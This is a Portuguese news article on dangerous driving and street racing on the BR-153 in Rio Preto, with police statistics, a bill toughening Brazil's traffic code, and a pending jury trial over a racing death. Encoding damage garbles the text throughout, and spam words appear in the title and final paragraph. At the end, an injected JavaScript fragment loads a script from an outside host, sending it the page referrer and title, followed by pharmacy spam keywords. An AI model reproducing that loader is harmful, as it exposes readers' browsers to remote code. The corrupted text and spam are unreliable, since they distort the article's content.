SA? neste ano, polAi??cia registrou 529 manobras perigosas na BR-153, trecho de Rio PretoCheap
Foram dois anos de espera, desde que os 13 radares foram instalados e estavam ociosos. Finalmente ligados na A?ltima sexta-feira, esses equipamentos surgem como esperanAi??a para mudar uma realidade assustadora de abusos na rodovia Transbrasiliana, a BR-153. NA?o sA?: a expectativa, para alAi??m da BR, estA? tambAi??m na alteraAi??A?o de onze artigos do CA?digo de TrA?nsito Brasileiro, para punir infratores de modo mais severo.
Somente este ano a PolAi??cia RodoviA?ria Federal (PRF) jA? registrou, por exemplo, 529 ocorrA?ncias de manobras perigosas no trecho da BR que corta Rio Preto. A maioria dos casos, 455 autuaAi??Ai??es, envolve motoristas apressadinhos que nA?o respeitam a faixa amarela continua que divide as pistas simples de mA?o dupla. No mesmo trecho urbano rio-pretense, segundo a PRF, foram 76 casos de motoristas embriagados este ano e 27 flagrantes de ultrapassagem pelo acostamento.
Em 2013, pelas ruas da cidade, a PolAi??cia Militar apreendeu 152 veAi??culos e a CNH (Carteira Nacional de HabilitaAi??A?o) de seus condutores devido a manobras arriscadas, arrancadas e derrapagens como cavalo de pau. Outros trA?s motoristas foram detidos e liberados em seguida por causa de rachas em via pA?blica.
Lei mais severa
Para coibir abusos ao volante, a CA?mara dos Deputados aprovou hA? uma semana projeto de lei modificando onze artigos do CA?digo de TrA?nsito Brasileiro (CTB) e estabelecendo puniAi??Ai??es mais severas para infratores. Nos casos mais simples, como flagrantes de rachas ou direAi??A?o perigosa sem acidente ou vAi??tima, a pena sobe de dois para trA?s anos. JA? ocorrA?ncias que provocarem acidentes com vAi??timas passam a ter penas ainda mais duras e maiores. Casos de lesA?o corporal podem condenar o motorista atAi?? seis anos de prisA?o e mortes, atAi?? dez anos de cadeia.
O que muda? Na prA?tica, antes a legislaAi??A?o previa apenas medidas administrativas aos infratores, mesmo em caso de homicAi??dio culposo (sem intenAi??A?o de matar). Havia a apreensA?o do veAi??culo e da CNH, e no mA?ximo a condenaAi??A?o determinava a detenAi??A?o do rAi??u sempre em regime aberto, nunca fechado. Para os responsA?veis pelo patrulhamento do trA?nsito, as mudanAi??as sA?o positivas e podem ajudar a reduzir acidentes. ai???A rigidez nas legislaAi??Ai??es, de forma geral, sA?o benAi??ficas para uma repressA?o imediata. Nesse sentido, o rigor e a austeridade na legislaAi??A?o de trA?nsito, visando coibir maus comportamentos dos condutores, sA?o importantes para prevenAi??A?o e uma efetiva puniAi??A?o a quem viole a leiai???, afirma o tenente da PM de Rio Preto, Rafael Henrique.
O professor de Direito Penal da Unirp, Orlando LuAi??s de Arruda Barbato, destaca que com a mudanAi??a na lei a intenAi??A?o do legislador Ai?? punir mais severamente quem coloca sua prA?pria vida e a de outros em risco pelo simples prazer da competiAi??A?o. ai???O racha trata-se de crime culposo, o espAi??rito da lei em aumentando a pena, quando resultar em lesA?o corporal ou morte, tem por objetivo inibir os participantes de competiAi??Ai??es automobilAi??sticas nA?o autorizadasai???, afirma.
Segundo o autor do projeto de lei, deputado Beto Albuquerque (PSB-PE), a mudanAi??a principal vai permitir que homicAi??dios culposos provocados por rachas ou direAi??A?o perigosa sejam a partir de agora punidos com pena de reclusA?o por determinaAi??A?o de juiz de primeira instA?ncia. Atualmente, apenas casos dolosos (quando fica comprovada a intenAi??A?o de matar) vA?o Ai?? Juri Popular e podem levar o rAi??u Ai?? cadeia, se condenado.
VAi??timas na cidade
Em Rio Preto, nos A?ltimos quatro anos, 136 pessoas perderam a vida na violA?ncia do trA?nsito, mas apenas dois casos atualmente sA?o tratados como homicAi??dio doloso ai??i?? ambos os acidentes provocados por embriaguez e excesso de velocidade ocorreram fora da via urbana, em estradas. Todas as demais vAi??timas fatais, para estatAi??stica da Secretaria de SeguranAi??a PA?blica e para a JustiAi??a, foram homicAi??dios culposos e o acusado, mesmo que condenado ao final do processo, nunca deverA? ser preso.
Para o promotor JosAi?? Heitor dos Santos, tecnicamente a nova lei, em partes, retira casos de racha do julgamento pelo Tribunal do Juri e passa para decisA?o do juiz singular, em primeira instA?ncia. As consequA?ncias disso, segundo ele, sA? o tempo mostrarA?. ai???Ter penas mais duras Ai?? bom, mas vamos esperar para verai???, disse.
Hamilton Pavam
Sara e Donair Franco mostram foto de Daiane, que foi morta por um rachador em avenida de Rio Preto: JA?ri Popular do acusado serA? em 18 de novembro deste ano
FA?cil de dirigir e matar, duro de condenar
Segundo o MinistAi??rio PA?blico Estadual, nos A?ltimos 15 anos, apenas dois acidentes de trA?nsito com vAi??tima fatal no perAi??metro urbano em Rio Preto tiveram motoristas levados ao Tribunal do JA?ri apA?s a as investigaAi??Ai??es comprovarem, durante o processo penal, de que eles estavam participando de um racha e, consequentemente, assumiram o risco de matar, ou seja, cometeram um homicAi??dio doloso. Um dos julgamentos ocorreu no ano passado e o rAi??u, embora condenado a sete anos de prisA?o, recorre em liberdade.
JA? o segundo caso em que o estudante Rafael Henrique da Silva Fracasso Ai?? acusado de provocar a morte da auxiliar administrativa Daiane Franco Azenha quando disputava um racha na avenida Arthur Nonato, em dezembro de 2005, teve o julgamento agendado na semana passada. SerA? em 18 de novembro. O caso reflete a dificuldade dos promotores, diante da atual legislaAi??A?o, de condenar alguAi??m por homicAi??dio doloso devido a mortes em racha. A defesa de Fracasso conseguiu protelar a decisA?o por quase nove anos apA?s o crime. E muito provavelmente, mesmo que condenado, ele deverA? responder a pena em liberdade.
O advogado do rapaz, Wagner Domingos Camilo, confirma que nA?o hA? mais recurso e seu cliente deve enfrentar o Juri Popular. PorAi??m ele disse que vai manter a tese de que Fracasso nunca quis matar alguAi??m. ai???Continuamos sustentando, como sempre, que foi uma fatalidade, uma infeliz fatalidadeai???, disse. JA? o advogado da famAi??lia da vAi??tima, Berlye ViA?des, disse que os pais de Daiane esperam hA? anos por JustiAi??a. Ele lembrou que na esfera cAi??vel o acusado jA? foi condenado e terA? de pagar indenizaAi??A?o. Segundo a sentenAi??a, valor ultrapassa mais de R$ 100 mil e jA? estA? em fase de execuAi??A?o, com bens dos pais do acusado penhorados.
A reportagem tentou contato com as famAi??lias, mas nA?o teve sucesso. Em 2011, em entrevista ao DiA?rio, ao saber da pronuncia do juri, a mA?e de Daiane cobrou agilidade do processo. ai???Minha vida acabou e atAi?? hoje nA?o aconteceu nada com esse rapaz. Isso sA? aumenta o sofrimentoai???, afirmou a dona de casa Sara Maria Azenha Franco.
Fracasso Ai?? acusado de conduzir o carro, um Logus, a 102 km/h no momento do acidente. Segundo a denA?ncia, ele tirava racha com outro veAi??culo, um Astra, que nunca foi localizado. Durante quase nove anos, seus advogados conseguiram adiar o julgamento com recursos. O A?ltimo perdido recentemente no STJ (Superior Tribunal de JustiAi??a).
MudanAi??a no CTB tambAi??m mira os bA?bados
As mudanAi??as no CTB tambAi??m atingem motoristas que forem pegos dirigindo alcoolizados ou sob o efeito de drogas e casos de direAi??A?o perigosa, que coloquem em risco da vida de terceiros. Para estes casos a puniAi??A?o passa a ser de prisA?o por perAi??odo entre dois e quatro anos. Hoje hA? apenas sanAi??Ai??es administrativas, como multa e apreensA?o do veAi??culo e da CNH.
A proposta altera ainda o valor das multas previstas para situaAi??Ai??es de perigo no trA?nsito. Atualmente, alAi??m da possibilidade de detenAi??A?o, quem era flagrado disputando racha era obrigado a pagar multa de R$ 576. Agora, alAi??m de todas as outras puniAi??Ai??es, a multa subirA? para R$ 1.915,40 (dobra na reincidA?ncia).
Em nota, o comando da PRF de Rio Preto afirma que aprova mais rigor na legislaAi??A?o, mas que nA?o foram registrados casos de racha neste perAi??odo mas tem intensificado a fiscalizaAi??A?o nos pontos crAi??ticos e estratAi??gicos para coibir este tipo de infraAi??A?o. AlAi??m disso tem executado palestras educativas junto as escolas e empresas como forma de prevenAi??A?o.
A nova lei, que ainda precisa ser sancionada pela presidente Dilma Rousseff (PT), entrando em vigor e seis meses, endurece tambAi??m as penas para ultrapassagem perigosa. A multa saltarA? de R$ 191 para R$ 1.915,40 e o infrator ainda corre o risco de ter a habilitaAi??A?o suspensa. JA? os motoristas que ultrapassarem outro veAi??culo perigosamente ou pelo acostamento passarA? a pagar multa de R$ 957,70. Hoje, a multa Ai?? de R$ 191. A infraAi??A?o nesses casos sobe de grave para gravAi??ssima. Cheap s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; depression medications and weight lossepivir-hbv price
